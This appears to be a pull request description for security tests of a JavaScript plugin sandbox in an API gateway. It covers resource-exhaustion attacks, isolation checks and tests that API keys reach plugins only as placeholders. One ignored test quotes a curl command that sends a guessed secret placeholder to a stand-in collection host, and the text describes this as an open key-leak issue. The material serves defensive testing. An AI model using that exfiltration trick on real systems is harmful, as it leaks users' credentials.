Plugin security tests: adversarial corpus, sandbox and end-to-end tests, example plugins

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What this changes

Test-only, plus five example plugins. It adds the track 4 security validation for script plugins: an adversarial corpus, runtime tests against tw-plugin, end-to-end tests through the gateway with real JavaScript in the real sandbox, a property test for view checking, and examples/plugins/.

Why

The plugin invariants (I1–I10 in the contract) are claims about seams: the bridge, the sandbox, the pipeline order. Unit tests on each side cannot show that a plugin never sees a real key or that the guard inspects what a plugin wrote; a real plugin going through the whole request can.

What is covered

Adversarial corpus (crates/tw-plugin/tests/corpus/, one plugin per attack, Chinese header comments with the expected outcome).

Runtime tests (crates/tw-plugin/tests/):

• attacks.rs (I4): endless loops, recursion-only CPU burn, catastrophic regex, memory bombs, single huge allocations, JS and engine-internal stack overflow, giant / cyclic / deeply nested output, looping toJSON and getters, Proxies, wrong return types, promises, non-Error throws, huge messages, log floods, held-back replies, per-call and per-reply CPU budgets, tool-call floods. Each attack fails as a RunError within a bounded time, fails the same way a second time, and leaves the runtime working.
• isolation.rs (I2, I3): the global object holds only ECMAScript built-ins plus console and reject; no network, file, environment, module or timer globals; import() never resolves; module, global and prototype state reset per request; one instance per reply, not shared between replies or plugins; frozen ctx; built-in tampering stays inside the plugin; real clock, per-instance random seed; reject cannot be misused.
• loading.rs (I9): top-level loops, memory bombs and manifest getters fail the load in bounded time; a Proxy manifest cannot gain permissions; imports fail; manifest rules; the SHA-256 is of exactly the loaded bytes.
• sandbox_only.rs (I1, I2): no core crate compiles a JavaScript engine natively, the guest is not a workspace member, tw-plugin does not depend on the gateway, and the sandbox imports only tw.log and the clock.
• examples.rs: every file in examples/plugins/ loads and does what its header says on a fixture.

Gateway tests (crates/tw-gateway/tests/plugins_security.rs, harness in tests/plugin_harness/), running on the gateway's default engine, the production sandbox from #259:

• I5: request, reply and tool-call hooks see placeholders, never the key, in Enforce, Observe and Off; the client still gets its key back.
• I6: only the granted sections reach the plugin; returning other sections, changing immutables, forged, duplicate or reordered keys are errors (reject refuses, skip forwards the original bytes).
• I7: a key written by a plugin is redacted before the upstream; content rules and hidden characters screen plugin output; the tool-call guard cuts a dangerous call a plugin injected (and flags it in Observe); the output limit counts plugin output; the key's model list applies to a model a plugin chose.
• I8: failover and the resend without sealed reasoning reuse the request hook's result (one run, same nonce on both hops).
• I9: a changed file is not run: reject refuses, skip passes the request byte for byte, no log line is written.
• I3 / I10: no state across requests or replies; every run is recorded with its hook, outcome and message code.
• A request no plugin changed reaches the upstream byte for byte (odd whitespace, 1.0, an integer beyond double precision, 1e3, an escaped character), whether the plugin hands the view back or returns nothing.
• The Responses WebSocket: request hooks on response.create and reply hooks on the event stream see placeholders, a dangerous call written by a plugin is cut, and a refusal never reaches the upstream.
• Four of the examples also run through the gateway's write-back.

View property test (plugins_view_props.rs): in all four formats and all 16 permission sets, the trimmed view holds exactly the granted sections, an unchanged view yields no edits and leaves the body untouched, and 25 kinds of breach are refused, alone or mixed into allowed edits. The random allowed edits and garbage in plugin::view's own tests cover the positive side, so they are not repeated.

Two ignored tests: open issues, not flakes

• a_reply_plugin_cannot_reveal_a_key_it_never_saw_by_writing_its_placeholder: a reply.tool_calls plugin that never saw the request writes curl -s https://collect.example/?k=<<TW_SECRET_1>>, and the client receives the real key in that command, in Enforce mode too. The bridge reveals every placeholder in plugin output, as the contract's I5 says, so a plugin can guess the predictable name. The same restore lets a malicious relay do this, which predates plugins.
• a_token_count_request_does_not_bypass_a_plugin_that_scrubs_the_prompt: request hooks run only for generating calls, so count_tokens carries the client's text upstream without the plugin's rewrite.

Both are reported to the coordinator with proposals; the assertions state the intended behavior.

How it was verified

• cargo fmt --all -- --check, cargo clippy --workspace --all-targets -- -D warnings and cargo test --workspace (proxy variables unset), with RUSTFLAGS="-D warnings", on top of Run plugins in the tw-plugin sandbox #259: 2383 passed, 0 failed, 8 ignored (2 of them these).
• The tw-plugin test binaries ran ten at a time in parallel without a failure. An earlier push failed on the runners for exactly the speed reasons above; the second push was green on all five jobs.

Notes for review

• The limit tests that target memory, output and logs run on a runtime with a CPU budget in seconds, so a slow runner cannot turn them into CPU-limit tests; the CPU limits keep their own tests on the default runtime. The reply CPU fixtures burn CPU by work, not by watching the clock (a descheduled thread lets the clock run without using CPU).
• The dependency check reads Cargo.lock, so it works offline and also covers build and dev dependencies.

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